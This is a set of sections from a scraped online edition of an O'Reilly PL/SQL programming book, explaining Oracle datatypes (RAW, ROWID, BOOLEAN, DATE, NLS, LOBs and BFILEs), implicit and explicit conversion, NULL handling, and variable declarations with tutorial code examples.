Once again, there is an inconsistency between the PL/SQL maximum length for a RAW variable (32767) and the RDBMS maximum length (255). As a result, you cannot insert more than 255 bytes of your PL/SQL RAW variable's value into a database column. You can, on the other hand, insert the full value of a PL/SQL RAW variable into a column with type LONG RAW, which is a two-gigabyte container for raw data in the database.

4.2.3.5 The LONG RAW datatype

The LONG RAW datatype stores raw data of up to 32760 bytes and is just like the LONG datatype except that the data in a LONG RAW variable is not interpreted by PL/SQL.

Given the fact that a RAW variable actually has a higher maximum length than the LONG RAW and has no restrictions attached to it, I recommend that you always use the RAW datatype in PL/SQL programs. LONG RAWs have a place in the RDBMS, but that role is not duplicated in PL/SQL.

4.2.3.6 The ROWID datatype

In the Oracle RDBMS, ROWID is a pseudocolumn that is a part of every table you create. The rowid is an internally generated and maintained binary value which identifies a row of data in your table. It is called a pseudocolumn because a SQL statement includes it in places where you would normally use a column. However, it is not a column that you create for the table. Instead, the RDBMS generates the rowid for each row as it is inserted into the database. The information in the rowid provides the exact physical location of the row in the database. You cannot change the value of a rowid.

You can use the ROWID datatype to store rowids from the database in your pl/sql program. You can SELECT or FETCH the rowid for a row into a ROWID variable. To manipulate rowids in Oracle8, you will want to use the built-in package, dbms_rowid (see Appendix A, What's on the Companion Disk?). In Oracle7, you will use the rowidtochar function to convert the rowid to a fixed-length string and then perform operations against that string.

In Oracle7, the format of the fixed-length rowid is as follows:

BBBBBBB.RRRR.FFFFF

Components of this format have the following meanings:

BBBBBBB

The block in the database file

RRRR

The row in the block (where the first row is zero, not one)

FFFFF

The database file

All these numbers are hexadecimal; the database file is a number which you would then use to look up the actual name of the database file through the data dictionary.

In Oracle8, rowid have been "extended" to support partitioned tables and indexes. The new, extended rowids include a data object number, identifying the database segment. Any schema object found in the same segment, such as a cluster of tables, will have the same object number. In Oracle8, then, a rowid contains the following information:

  • The data object number

  • The data file (where the first file is 1)

  • The data block within the data file

  • The row in the data block (where the first row is 0)

Oracle8 provides functions in the dbms_rowid package to convert between the new formats of rowids.

Usually (and always in Oracle7), a rowid will uniquely identify a row of data. Within Oracle8, however, rows in different tables stored in the same cluster can have the same rowid value.

You are now probably thinking, "Why is he telling me this? Do I actually have to know about the physical blocks in the Oracle RDBMS? I thought the whole point of the relational approach is that I can focus on the logical design of my data and ignore the physical representation. Rowids are scary!"

Calm down. Very rarely would you want to use a rowid, and in those cases you probably wouldn't care about its internal structure. You would simply use it to find a row in the database. Access by rowid is typically the fastest way to locate or retrieve a particular row in the database: faster even than a search by primary key.

You could make use of the rowid in an Oracle Forms application to access the row in the database corresponding to the record on the screen. When you create a base-table block in Oracle Forms, it automatically includes the rowid in the block as an "invisible pseudoitem." You do not see it on your item list, but you can reference it in your triggers and PL/SQL program units. For example, to update the name of an employee displayed on the screen, you could issue the following statement:

UPDATE employee
   SET last_name = :employee.last_name
 WHERE rowid = :employee.rowid;

You can also use rowid inside a cursor FOR loop (or any other loop which FETCHes records from a cursor) to make changes to the row just FETCHed, as follows:

PROCEDURE remove_internal_competitors IS
BEGIN
   FOR emp_rec IN
      (SELECT connections, rowid
         FROM employee
        WHERE sal > 50000)
   LOOP
      IF emp_rec.connections IN ('President', 'CEO')
      THEN
         send_holiday_greetings;
      ELSE
         DELETE FROM employee
          WHERE rowid = emp_rec.rowid;
      END IF;
   END LOOP;
END;

The DELETE uses the rowid stored in the emp_rec record to immediately get rid of anyone making more than $50,000 who does not have known connections to the President or CEO. Note that the DBA controls who may have EXECUTE privilege to this stored procedure. So one must now wonder: does the DBA have connections to the President or CEO? Well, in any case, use of the rowid guarantees the fastest possible DELETE of that employee.

Of course, the above procedure could also simply have fetched the employee_id (primary key of the employee table) and executed a DELETE based on that real column, as in:

DELETE FROM employee WHERE employee_id = emp_id;

I am not convinced that the theoretical performance gains of searching by rowid justify its use. The resulting code is harder to understand than the application-specific use of the primary key. Furthermore, references to rowid could cause portability problems in the future.[1]

[1] The rowid is not a part of the ANSI SQL standard; instead, it reflects directly the internal storage structure of the Oracle RDBMS. Use of this proprietary pseudo-column is akin to coding a clever trick in FORTRAN 77 which takes advantage of a loophole in the compiler to gain performance. The improvements could be wiped out in a future release of the software. If you are building applications which may need to work against both Oracle and non-Oracle data sources, you should avoid any references to the rowid pseudo-column and the ROWID datatype.

4.2.4 The Boolean Datatype

The Oracle RDBMS/SQL language offers features not found in PL/SQL, such as the Oracle SQL DECODE construct. PL/SQL, on the other hand, has a few tricks up its sleeve which are unavailable in native SQL. One particularly pleasant example of this is the BOOLEAN datatype.[2] Boolean data may only be TRUE, FALSE, or NULL. A Boolean is a "logical" datatype.

[2] The Boolean is named after George Boole, who lived in the first half of the 19th century and is considered "the father of symbolic logic." One therefore capitalizes "Boolean," whereas the other datatypes get no respect.

The Oracle RDBMS does not support a Boolean datatype. You can create a table with a column of datatype CHAR(1) and store either "Y" or "N" in that column to indicate TRUE or FALSE. That is a poor substitute, however, for a datatype which stores those actual Boolean values (or NULL).

Because there is no counterpart for the PL/SQL Boolean in the Oracle RDBMS, you can neither SELECT into a Boolean variable nor insert a TRUE or FALSE value directly into a database column.

Boolean values and variables are very useful in PL/SQL. Because a Boolean variable can only be TRUE, FALSE, or NULL, you can use that variable to explain what is happening in your code. With Booleans you can write code which is easily readable, because it is more English-like. You can replace a complicated Boolean expression involving many different variables and tests with a single Boolean variable that directly expresses the intention and meaning of the text.

4.2.5 The Date-Time Datatype

Most of our applications require the storage and manipulation of dates and times. Dates are quite complicated: not only are they highly-formatted data, but there are myriad rules for determining valid values and valid calculations (leap days and years, national and company holidays, date ranges, etc.). Fortunately, the Oracle RDBMS and PL/SQL offer us help in many ways to handle date information.

The RDBMS provides a true DATE datatype which stores both date and time information. While you can enter a date value in a variety of formats, the RDBMS stores the date in a standard, internal format. It is a fixed-length value which uses seven bytes. You cannot actually specify this internal or literal value with an assignment. Instead you rely on implicit conversion of character and numeric values to an actual date, or explicit conversion with the TO_DATE function. (The next section describes these types of conversion.) PL/SQL provides a DATE datatype which corresponds directly to the RDBMS DATE.

An Oracle DATE stores the following information:

century
year
month
day
hour
minute
second

PL/SQL validates and stores dates which fall between January 1, 4712 B.C. to December 31, 4712 A.D. The time component of a date is stored as the number of seconds past midnight. If you enter a date without a time (many applications do not require the tracking of time, so PL/SQL lets you leave it off), the time portion of the database value defaults to midnight (12:00:00 AM).

Neither the Oracle RDBMS DATE nor the PL/SQL DATE datatypes store times in increments of less than single seconds. The DATE datatype, therefore, is not very useful for tracking real-time activities which occur in subsecond intervals. If you need to track time at subsecond intervals, you could instead store this information as a number. You can obtain subsecond timings using the DBMS_UTILITY package's GET_TIME function described in Appendix C, Built-In Packages.

Because a variable declared DATE is a true date and not simply a character representation of a date, you can perform arithmetic on date variables, such as the subtraction of one date from another, or the addition/subtraction of numbers from a date. You can make use of date functions, described in Chapter 12, Date Functions, which offer a wide range of powerful operations on dates. Use the SYSDATE function to return the current system date and time. You can also use the TO_CHAR conversion function (described in Chapter 14, Conversion Functions) to convert a date to character string or to a number.

In PL/SQL, a Julian date is the number of days since the first valid date, January 1, 4712 BC. Use Julian dates if you need to perform calculations or display date information with a single point of reference and continuous dating.

4.2.6 NLS Character Datatypes

When working with languages like Japanese, the 8-bit ASCII character set is simply not able to represent all of the available characters. Such languages require 16 bits (two bytes) to represent each character. Oracle offers National Language Support (NLS) to process single-byte and multibyte character data. NLS features also allow you to convert between character sets. PL/SQL8 supports two character sets which allow for the storage and manipulation of strings in either single-byte or multibyte formats. The two character sets are:

  • Database character set: used for PL/SQL identifiers and source code

  • National character set: used for NLS data

PL/SQL offers two datatypes, NCHAR and NVARCHAR2, to store character strings formed from the national character set.

4.2.6.1 The NCHAR datatype

Use the NCHAR datatype to store fixed-length nls character data. The internal representation of the data is determined by the national character set. When you declare a variable of this type, you can also specify its length. If you do not provide a length, the default of 1 is used.

Here is the declaration of a NCHAR variable with a length of 10:

ssn NCHAR (10);

Here is the declaration of a NCHAR variable with a default length of 1:

yes_no NCHAR;

The maximum length for NCHAR variables is 32767.

But what does "a length of 10" actually mean? If the national character set is a fixed-width character set, then the length indicates length in characters. If the national character set is a variable-width character set (JA16SJIS is one example), then the length indicates length in bytes.

4.2.6.2 The NVARCHAR2 datatype

Use the nvarchar2 datatype to store variable-length nls character data. The internal representation of the data is determined by the national character set. When you declare a variable of this type, you must also specify its length.

Here is the declaration of an nvarchar2 variable with a maximum length of 200:

any_name NVARCHAR2 (200);

The maximum length allowed for nvarchar2 variables is 32767. Length has the same meaning described above for nchar.

4.2.7 LOB Datatypes

Oracle8 and PL/SQL8 support several variations of LOB (large object) datatypes. LOBs can store large amounts (up to four gigabytes) of raw data, binary data (such as images), or character text data.

Within PL/SQL you can declare LOB variables of the following datatypes:

BFILE

Declares variables that hold a file locator pointing to large binary objects in operating system files outside of the database.

BLOB

Declares variables that hold a LOB locator pointing to a large binary object.

CLOB

Declares variables that hold a LOB locator pointing to a large block of single-byte, fixed-width character data.

NCLOB

Declares variables that hold a LOB locator pointing to a large block of single-byte or fixed-width multibyte character data.

There are two types of LOBs in Oracle8: internal and external. Internal LOBs (BLOB, CLOB, and NCLOB) are stored in the database and can participate in a transaction in the database server. External LOBs (BFILE) are large binary data stored in operating system files outside the database tablespaces. External LOBs cannot participate in transactions. You cannot, in other words, commit or roll back changes to a BFILE. Instead, you rely on the underlying filesystem for data integrity.

4.2.7.1 The BFILE datatype

Use the BFILE datatype to store large binary objects (up to four gigabytes in size) in files outside of the database. This variable gives you read-only, byte-stream I/O access to these files (which can reside on a hard disk, CD-ROM, or other such device).

When you declare a BFILE variable, you allocate memory to store the file locator of the BFILE, not the BFILE contents itself. This file locator contains a directory alias as well as a file name. See Section 4.2.7.7, "Working with BFILEs" later in this chapter for more information about the file locator.

Here is an example of a declaration of a BFILE variable:

DECLARE
   book_part1 BFILE;

4.2.7.2 The BLOB datatype

Use the BLOB datatype to store large binary objects "out of line" inside the database. This means that when a table has a BLOB column, a row of data for that table contains a pointer or a locator to the actual location of the BLOB data (so it is not "in line" with the other column values of the row).

A BLOB variable contains a locator, which then points to the large binary object. BLOBs can be up to four gigabytes in size, and they participate fully in transactions. In other words, any changes you make to a BLOB (via the DBMS_LOB built-in package) can be rolled back or committed along with other outstanding changes in your transaction. BLOB locators cannot, however, span transactions or sessions.

Here is an example of a declaration of a BLOB variable:

DECLARE
   family_portrait BLOB;

4.2.7.3 The CLOB datatype

Use the CLOB datatype to store large blocks of single-byte character data "out of line" inside the database. This means that when a table has a CLOB column, a row of data for that table contains a pointer or locator to the actual location of the CLOB data (so it is not "in line" with the other column values of the row).

A CLOB variable contains a locator, which then points to the large block of single-byte character data. CLOBs can be up to four gigabytes in size, and they participate fully in transactions. In other words, any changes you make to a CLOB (via the DBMS_LOB built-in package) can be rolled back or committed along with other outstanding changes in your transaction. CLOB locators cannot, however, span transactions or sessions.

Variable-width character sets are not supported in CLOBs.

Here is an example of a declaration of a CLOB variable:

DECLARE
   war_and_peace_text CLOB;

4.2.7.4 The NCLOB datatype

Use the NCLOB datatype to store large blocks of single-byte or fixed-width multibyte character data "out of line" inside the database. This means that when a table has a NCLOB column, a row of data for that table contains a pointer or locator to the actual location of the NCLOB data (so it is not "in line" with the other column values of the row).

A NCLOB variable contains a locator, which then points to the large block of single-byte character data. NCLOBs can be up to four gigabytes in size, and they participate fully in transactions. In other words, any changes you make to a NCLOB (via the DBMS_LOB built-in package) can be rolled back or committed along with other outstanding changes in your transaction. NCLOB locators cannot, however, span transactions or sessions.

Variable-width character sets are not supported in NCLOBs.

Here is an example of a declaration of a NCLOB variable:

DECLARE
   war_and_peace_in japanese NCLOB;

4.2.7.5 LOBs and LONGs

LOB types are different from, and preferable to, LONG and LONG RAW. The maximum size of a LONG is two gigabytes, whereas the maximum size of a LOB is four gigabytes.

Oracle offers a powerful new built-in package, DBMS_LOB, to help you manipulate the contents of LOBs in ways not possible with LONGs. Generally, Oracle offers you random access to LOB contents, whereas with LONGs you have only sequential access. For example, with DBMS_LOB you can perform SUBSTR and INSTR operations against a LOB. This is not possible with LONG data.

Oracle recommends that you no longer use LONG or LONG RAW in your applications and instead take advantage of the new and improved features of the LOB datatypes. If you are going to be working with object types, you really don't have much choice: a LOB (except for NCLOB) can be an attribute of an object type, but LONGs cannot.

4.2.7.6 Working with LOBs

LOB values are not stored "in line" with other row data. Instead, a LOB locator, which points to the LOB, is stored in the row. Suppose that I have created the following table:

CREATE TABLE favorite_books
   (isbn VARCHAR2(50), title VARCHAR2(100), contents_loc CLOB);

I can then display the number of characters in the book, The Bell Curve, with the following code:

CREATE OR REPLACE PROCEDURE howbig (title_in IN VARCHAR2)
IS
   CURSOR book_cur
   IS
      SELECT contents_loc
        FROM favorite_books
       WHERE title = UPPER (title_in);
   book_loc CLOB;
BEGIN
   OPEN book_cur;
   FETCH book_cur INTO book_loc;
   IF book_cur%NOTFOUND
   THEN
      DBMS_OUTPUT.PUT_LINE
         ('Remember? You don''t like "' || INITCAP (title_in) || '".');
   ELSE
      DBMS_OUTPUT.PUT_LINE (title_in || ' contains ' ||
          TO_CHAR (DBMS_LOB.GETLENGTH (book_loc)) ||
          ' characters.');
   END IF;
   CLOSE book_cur;
END;
/

SQL> exec howbig ('the bell curve');
Remember? You don't like "The Bell Curve".

Here is an example of copying a BLOB from one row to another in SQL:

INSERT INTO favorite_books (isbn, title, contents_loc)
   SELECT isbn, title || ', Second Edition', contents_loc
     FROM favorite_books
    WHERE title = 'Oracle PL/SQL Programming';

In this situation, I have assigned a new LOB locator for my second edition. I have also copied the LOB value (the contents of my first edition) to this new row, not merely created another locator or pointer back to the same text.

Notice that I copied the entire contents of my book. DML operations such as INSERT and UPDATE always affect an entire LOB. If you want to change or delete just a portion of a LOB, you need to call the appropriate functions in the DBMS_LOB package.

You cannot directly copy values between a character LOB and a VARCHAR2 variable, even if the LOB value is small and "fits" inside the specified VARCHAR2 variable. You can, however, use functions in the DBMS_LOB package to extract some or all of a CLOB value and place it in a VARCHAR2 variable (as the following example shows):

DECLARE
   big_kahuna CLOB;
   little_kahuna VARCHAR2(2000);
BEGIN
   /* I know it's in here. */
   SELECT contents_loc INTO big_kahuna
     FROM favorite_books
    WHERE title = 'WAR AND PEACE';

   /* Get first 2000 characters of book. */
   little_kahuna := DBMS_LOB.SUBSTR (big_kahuna, 2000, 1);
END;

4.2.7.7 Working with BFILEs

BFILEs are very different from internal LOBs in a number of ways:

  • The value of a BFILE is stored in an operating system file, not within the database at all.

  • BFILEs do not participate in transactions (i.e., changes to a BFILE cannot be rolled back or committed).

When you work with BFILEs in PL/SQL, you still do work with a LOB locator. In the case of a BFILE, however, the locator simply points to the file stored on the server. For this reason, two different rows in a database table can have a BFILE column which point to the same file.

A BFILE locator is composed of a directory alias and a file name. You use the BFILENAME function (see Chapter 13, Numeric, LOB, and Miscellaneous Functions) to return a locator based on those two pieces of information.

In the following block, I declare a BFILE variable and assign it a locator for a file named family.ipg located in the photos "directory":

DECLARE
   all_of_us BFILE;
BEGIN
   all_of_us := BFILENAME ('photos', 'family.ipg');
END;

But what precisely is "photos"? It doesn't conform to the format used for directories in UNIX, Windows NT, etc. It is, in fact, a database object called a DIRECTORY. Here is the statement I would use to create a directory:

CREATE DIRECTORY photos AS 'c:\photos';

You will need the CREATE DIRECTORY or CREATE ANY DIRECTORY privileges to create a directory. To be able to reference this directory you must be granted the READ privilege, as in:

GRANT READ ON DIRECTORY photos TO SCOTT;

For more information on directory aliases, see Section 13.2.1, "The BFILENAME function" in Chapter 13.

The maximum number of BFILEs that can be opened within a session is established by the database initialization parameter, SESSION_MAX_OPEN_FILES. This parameter defines an upper limit on the number of files opened simultaneously in a session (not just BFILEs, but all kinds of files, including those opened using the UTL_FILE package).

4.2.8 Conversion Between Datatypes

Both SQL and PL/SQL offer many different types of data. In many situations -- more frequently than you perhaps might like to admit -- you will find it necessary to convert your data from one datatype to another.

You might have one table which stores primary key information as a character string, and another table which stores that same key as a foreign key in numeric format. When you perform an assignment, you will need to convert the information:

:employee.department_num   -- the numeric format
   := :department.depno    -- the character format

You might wish to view a rowid value, in which case it is necessary to convert that value to character (hex) format, as follows:

ROWIDTOCHAR (:employee.rowid);

Or you might perform date comparisons by specifying dates as literals, as in the following:

IF start_date BETWEEN '01-JAN-95' AND last_sales_date THEN ...

Whenever PL/SQL performs an operation involving one or more values, it must first convert the data so that it is in the right format for the operation. There are two kinds of conversion: explicit and implicit.

4.2.8.1 Explicit data conversions

An explicit conversion takes place when you use a built-in conversion function to force the conversion of a value from one datatype to another. In the earlier example which demonstrated viewing a rowid value, I used the ROWIDTOCHAR conversion function so that the PUT_LINE function could display the resulting character string. PL/SQL provides a full set of conversion functions to enable conversion from one datatype to another. (These functions are explored more fully in Chapter 14.)

4.2.8.2 Implicit data conversions

Whenever PL/SQL detects that a conversion is necessary, it will attempt to change the values as necessary to perform the operation. You would probably be surprised to learn how often PL/SQL is performing conversions on your behalf. Figure 4.1 shows what kinds of implicit conversions PL/SQL can perform.

Figure 4.1: Implicit conversions performed by PL/SQL

With implicit conversions you can specify literal values in place of data with the correct internal format, and PL/SQL will convert that literal as necessary. In the example below, PL/SQL converts the literal string "125" to the numeric value 125 in the process of assigning a value to the numeric variable:

DECLARE
   a_number NUMBER;
BEGIN
   a_number := '125';
END;

You can also pass parameters of one datatype into a module and then have PL/SQL convert that data into another format for use inside the program. In the following procedure, the first parameter is a date. When I call that procedure, I pass a string value in the form DD-MON-YY, and PL/SQL converts that string automatically to a date:

PROCEDURE change_hiredate
   (emp_id_in IN INTEGER, hiredate_in IN DATE)

change_hiredate (1004, '12-DEC-94');

As shown in Figure 4.1, conversions are limited; PL/SQL cannot convert any datatype to any other datatype. Furthermore, some implicit conversions raise exceptions. Consider the following assignment:

DECLARE
   a_number NUMBER;
BEGIN
   a_number := 'abc';
END;

PL/SQL cannot convert "abc" to a number and so will raise the VALUE_ERROR exception when it executes this code. It is up to you to make sure that if PL/SQL is going to perform implicit conversions, it is given values it can convert without error.

4.2.8.3 Drawbacks of implicit conversions

There are several drawbacks to implicit conversion:

  • Each implicit conversion PL/SQL performs represents a loss, however small, in the control you have over your program. You do not expressly perform or direct the performance of that conversion; you make an assumption that the conversion will take place, and that it will have the intended effect. There is always a danger in making this assumption: If Oracle changes the way and circumstances under which it performs conversions; your code could then be affected.

  • The implicit conversion that PL/SQL performs depends on the context in which the code occurs. As a result, a conversion might occur in one program and not in another even though they seem to be the same. The conversion PL/SQL performs is not necessarily always the one you might expect.

  • Implicit conversions can actually degrade performance. A dependence on implicit conversions can result in excessive conversions taking place, or in the conversion of a column value in a SQL statement instead of in a constant.

  • Your code is easier to read and understand if you explicitly convert data where needed. Such conversions document variances in datatypes between tables or between code and tables. By removing an assumption and a hidden action from your code, you remove a potential misunderstanding as well.

As a consequence, I recommend that you avoid allowing either the SQL or PL/SQL languages to perform implicit conversions on your behalf. Whenever possible, use a conversion function to guarantee that the right kind of conversion takes place.

Previous: 4.1 Identifiers | Oracle PL/SQL Programming, 2nd Edition | Next: 4.3 NULLs in PL/SQL
4.1 Identifiers | Book Index | 4.3 NULLs in PL/SQL
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.3 NULLs in PL/SQL

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.3 NULLs in PL/SQL

Wouldn't it be nice if everything was knowable, and known? Hmmm. Maybe not. The question, however, is moot. We don't know the answer to many questions. We are surrounded by the Big Unknown, and because Oracle Corporation prides itself on providing database technology to reflect the real world, it supports the concept of a null value.

When a variable, column, or constant has a value of NULL, its value is unknown -- indeterminate. "Unknown" is very different from a blank or a zero or the Boolean value FALSE. "Unknown" means that the variable has no value at all and so cannot be compared directly with other variables. The following three rules hold for null values:

  • A null is never equal to anything else. None of the following IF statements can ever evaluate to TRUE:

    my_string := ' ';
IF my_string = NULL THEN ...--This will never be true.

max_salary := 0;
IF max_salary = NULL THEN ...--This will never be true.

IF NULL = NULL THEN ...--Even this will never be true.

  • A null is never not equal to anything else. Remember: with null values, you just never know. None of the following IF statements can ever evaluate to TRUE.

    my_string := 'Having Fun';
your_string := NULL;
IF my_string != your_string THEN ..--This will never be true.

max_salary := 1234;
IF max_salary != NULL THEN ...--This will never be true.

IF NULL != NULL THEN ...--This will never be true.

  • When you apply a function to a null value, you generally receive a null value as a result (there are some exceptions, listed below). A null value cannot be found in a string with the INSTR function. A null string has a null length, not a zero length. A null raised to the 10th power is still null.

    my_string := NULL;
IF LENGTH (my_string) = 0 THEN ...--This will not work.

new_value := POWER (NULL, 10);--new_value is set to null value.

4.3.1 NULL Values in Comparisons

In general, whenever you perform a comparison involving one or more null values, the result of that comparison is also a null value -- which is different from TRUE or FALSE -- so the comparison cannot help but fail.

Whenever PL/SQL executes a program, it initializes all locally declared variables to null (you can override this value with your own default value). Always make sure that your variable has been assigned a value before you use it in an operation.

You can also use special syntax provided by Oracle to check dependably for null values, and even assign a null value to a variable. PL/SQL provides a special reserved word, NULL, to represent a null value in PL/SQL. So if you want to actually set a variable to the null value, you simply perform the following assignment:

my_string := NULL;

If you want to incorporate the possibility of null values in comparison operations, you must perform special case checking with the IS NULL and IS NOT NULL operators. The syntax for these two operators is as follows:

<identifier> IS NULL
<identifier> IS NOT NULL

where <identifier> is the name of a variable, a constant, or a database column. The IS NULL operator returns TRUE when the value of the identifier is the null value; otherwise, it returns FALSE. The IS NOT NULL operator returns TRUE when the value of the identifier is not a null value; otherwise, it returns FALSE.

4.3.2 Checking for NULL Values

Here are some examples describing how to use operators to check for null values in your program:

  • In the following example, the validation rule for the hire_date is that it cannot be later than the current date and it must be entered. If the user does not enter a hire_date, then the comparison to SYSDATE will fail because a null is never greater than or equal to (>=) anything. The second part of the OR operator, however, explicitly checks for a null hire_date. If either condition is TRUE, then we have a problem.

    IF hire_date >= SYSDATE OR hire_date IS NULL
THEN
   DBMS_OUTPUT.PUT_LINE (' Date required and cannot be in  future.');
END IF;

  • In the following example, a bonus generator rewards the hard-working support people (not the salespeople). If the employee's commission is over the target compensation plan target, then send a thank you note. If the commission is under target, tell them to work harder, darn it! But if the person has no commission at all (that is, if the commission IS NULL), give them a bonus recognizing that everything they do aids in the sales effort. (You can probably figure out what my job at Oracle Corporation was.) If the commission is a null value, then neither of the first two expressions will evaluate to TRUE:

    IF :employee.commission >= comp_plan.target_commission
THEN
   just_send_THANK_YOU_note (:employee_id);
ELSIF :employee.commission < comp_plan.target_commission
THEN
   send_WORK_HARDER_singing_telegram (:employee_id);
ELSIF :employee.commission IS NULL
THEN
   non_sales_BONUS (:employee_id);
END IF;

  • PL/SQL treats a string of zero-length as a NULL. A zero-length string is two single quotes without any characters in between. The following two assignments are equivalent:

    my_string := NULL;
my_string := '';

4.3.3 Function Results with NULL Arguments

While it is generally true that functions which take a NULL argument return the null value, there are several exceptions:

  • Concatenation. There are two ways to concatenate strings: the CONCAT function (described in Chapter 11) and the concatenation operator (double vertical bars: ||). In both cases, concatenation ignores null values, and simply concatenates "around" the null. Consider the following examples:

    CONCAT ('junk', NULL) ==> junk

'junk' || NULL || ' ' || NULL || 'mail' ==> junk mail

    Of course, if all the individual strings in a concatenation are NULL, then the result is also NULL.

  • The NVL function. The NVL function (described in Chapter 13) exists specifically to translate a null value to a non-null value. It takes two arguments. If the first argument is NULL, then the second argument is returned. In the following example, I return the string `Not Applicable' if the incoming string is NULL:

    new_description := NVL (old_description, 'Not Applicable');

  • The REPLACE function. The REPLACE function (described in Chapter 11) returns a string in which all occurrences of a specified match string are replaced with a replacement string. If the match_string is NULL, then REPLACE does not try to match and replace any characters in the original string. If the replace_string is NULL, then REPLACE removes from the original string any characters found in match_string.

Although there are some exceptions to the rules for null values, nulls must generally be handled differently from other data. If your data has NULLS, whether from the database or in local variables, you will need to add code to either convert your null values to known values, or use the IS NULL and IS NOT NULL operators for special case null value handling.

Previous: 4.2 Scalar Datatypes | Oracle PL/SQL Programming, 2nd Edition | Next: 4.4 Variable Declarations
4.2 Scalar Datatypes | Book Index | 4.4 Variable Declarations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.4 Variable Declarations

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.4 Variable Declarations

Before you can make a reference to a variable, you must declare it. (The only exception to this rule is for the index variables of FOR loops.) All declarations must be made in the declaration section of your anonymous block, procedure, function, or package (see Chapter 15, Procedures and Functions, for more details on the structure of the declaration section).

When you declare a variable, PL/SQL allocates memory for the variable's value and names the storage location so that the value can be retrieved and changed. The declaration also specifies the datatype of the variable; this datatype is then used to validate values assigned to the variable.

The basic syntax for a declaration is:

<variable_name> <datatype> [optional default assignment];

where <variable_name> is the name of the variable to be declared and <datatype> is the datatype or subtype which determines the type of data which can be assigned to the variable. The [optional default assignment] clause allows you to initialize the variable with a value, a topic covered in the next section.

4.4.1 Constrained Declarations

The datatype in a declaration can either be constrained or unconstrained. A datatype is constrained when you specify a number which constrains or restricts the magnitude of the value which can be assigned to that variable. A datatype is unconstrained when there are no such restrictions.

Consider the datatype NUMBER. It supports up to 38 digits of precision -- and uses up the memory needed for all those digits. If your variable does not require this much memory, you could declare a number with a constraint, such as the following:

itty_bitty_# NUMBER(1);

large_but_constrained_# NUMBER(20,5);

Constrained variables require less memory than unconstrained number declarations like this:

no_limits_here NUMBER;

4.4.2 Declaration Examples

Here are some examples of variable declarations:

  • Declaration of date variable:

    hire_date DATE;

  • This variable can only have one of three values: TRUE, FALSE, NULL:

    enough_data BOOLEAN;

  • This number rounds to the nearest hundredth (cent):

    total_revenue NUMBER (15,2);

  • This variable-length string will fit in a VARCHAR2 database column:

    long_paragraph VARCHAR2 (2000);

  • This constant date is unlikely to change:

    next_tax_filing_date CONSTANT DATE := '15-APR-96';

4.4.3 Default Values

You can assign default values to a variable when it is declared. When declaring a constant, you must include a default value in order for the declaration to compile successfully. The default value is assigned to the variable with one of the following two formats:

<variable_name> <datatype> := <default_value>;
<variable_name> <datatype> DEFAULT <default_value>;

The <default_value> can be a literal, previously declared variable, or expression, as the following examples demonstrate:

  • Set variable to 3:

    term_limit NUMBER DEFAULT  3;

  • Default value taken from Oracle Forms bind variable:

    call_topic VARCHAR2 (100) DEFAULT :call.description;

  • Default value is the result of a function call:

    national_debt FLOAT DEFAULT POWER (10,10);

  • Default value is the result of the expression:

    order_overdue CONSTANT BOOLEAN :=
   ship_date > ADD_MONTHS (order_date, 3) OR
   priority_level (company_id) = 'HIGH';

I like to use the assignment operator (:=) to set default values for constants, and the DEFAULT syntax for variables. In the case of the constant, the assigned value is not really a default, but an initial (and unchanging) value, so the DEFAULT syntax feels misleading to me.

4.4.4 NOT NULL Clause

If you do assign a default value, you can also specify that the variable must be NOT NULL. For example, the following declaration initializes the company_name variable to PCS R US and makes sure that the name can never be set to NULL:

company_name VARCHAR2(60) NOT NULL DEFAULT 'PCS R US';

If your code includes a line like this:

company_name := NULL;

then PL/SQL will raise the VALUE_ERROR exception. You will, in addition, receive a compilation error with this next declaration:

company_name VARCHAR2(60) NOT NULL;

Why? Because your NOT NULL constraint conflicts instantly with the indeterminate or NULL value of the company_name variable when it is instantiated.

Previous: 4.3 NULLs in PL/SQL | Oracle PL/SQL Programming, 2nd Edition | Next: 4.5 Anchored Declarations
4.3 NULLs in PL/SQL | Book Index | 4.5 Anchored Declarations
The Oracle Library Navigation

Copyright (c) 2000 O'Reilly & Associates. All rights reserved.

Library Home Oracle PL/SQL Programming, 2nd. Ed. Guide to Oracle 8i Features Oracle Built-in Packages Advanced PL/SQL Programming with Packages Oracle Web Applications Oracle PL/SQL Language Pocket Reference Oracle PL/SQL Built-ins Pocket Reference


[Chapter 4] 4.5 Anchored Declarations

Oracle PL/SQL Programming, 2nd Edition

Oracle PL/SQL Programming, 2nd EditionSearch this book

4.5 Anchored Declarations

This section describes the use of the %TYPE declaration attribute to anchor the datatype of one variable to another data structure, such as a PL/SQL variable or a column in a table. When you anchor a datatype, you tell PL/SQL to set the datatype of one variable from the datatype of another element.

The syntax for an anchored datatype is:

<variable name> <type attribute>%TYPE [optional default value assignment];

where <variable name> is the name of the variable you are declaring and <type attribute> is any of the following:

  • Previously declared PL/SQL variable name

  • Table column in format "table.column"

Figure 4.2 shows how the datatype is drawn both from a database table and PL/SQL variable.

Figure 4.2: Anchored declarations with %TYPE

Here are some examples of %TYPE used in declarations:

  • Anchor the datatype of monthly_sales to the datatype of total_sales:

    total_sales NUMBER (20,2);
monthly_sales total_sales%TYPE;

  • Anchor the datatype of the company ID variable to the database column:

    company_id# company.company_id%TYPE;

Anchored declarations provide an excellent illustration of the fact that PL/SQL is not just a procedural-style programming language but was designed specifically as an extension to the Oracle SQL language. A very thorough effort was made by Oracle Corporation to tightly integrate the programming constructs of PL/SQL to the underlying database (accessed through SQL).

NOTE: PL/SQL also offers the %ROWTYPE declaration attribute, which allows you to create anchored datatypes for PL/SQL record structures. %ROWTYPE is described in Chapter 9.

4.5.1 Benefits of Anchored Declarations

